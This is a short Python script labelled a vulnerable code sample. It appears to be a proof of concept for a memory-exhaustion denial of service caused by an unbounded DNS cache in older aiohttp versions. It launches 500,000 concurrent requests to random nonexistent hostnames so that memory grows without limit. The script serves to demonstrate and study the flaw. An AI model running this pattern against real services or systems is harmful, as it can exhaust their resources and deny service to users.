Vulnerable code sample

import asyncio
import aiohttp
import uuid

async def make_request(session, url):
    try:
        # The request itself is what matters, as it triggers the internal DNS lookup.
        # We set a short timeout because we expect these domains not to exist.
        async with session.get(url, timeout=1) as response:
            await response.read()
    except Exception:
        # We expect errors (e.g., timeout, cannot resolve host), which is fine.
        # In a vulnerable implementation, even failed lookups can be cached.
        pass

async def main():
    # In a vulnerable version (e.g., prior to 3.8.x releases which started adding limits),
    # the default TCPConnector used by ClientSession had an unbounded DNS cache.
    async with aiohttp.ClientSession() as session:
        tasks = []
        # We will create a large number of requests to unique hostnames.
        # Each unique hostname forces a new DNS lookup that gets stored in the unbounded cache.
        for i in range(500000):
            # Generate a unique hostname to ensure the cache is filled with new entries.
            unique_hostname = f"{uuid.uuid4()}.non-existent-vulnerable-domain.com"
            url = f"http://{unique_hostname}"
            task = asyncio.create_task(make_request(session, url))
            tasks.append(task)

        # Running these tasks concurrently will quickly fill the DNS cache.
        await asyncio.gather(*tasks)

if __name__ == "__main__":
    # If this script were run using a vulnerable version of aiohttp,
    # you could monitor the process's memory usage and observe it
    # growing continuously until all requests are done, demonstrating
    # the memory exhaustion and potential for a Denial of Service.
    asyncio.run(main())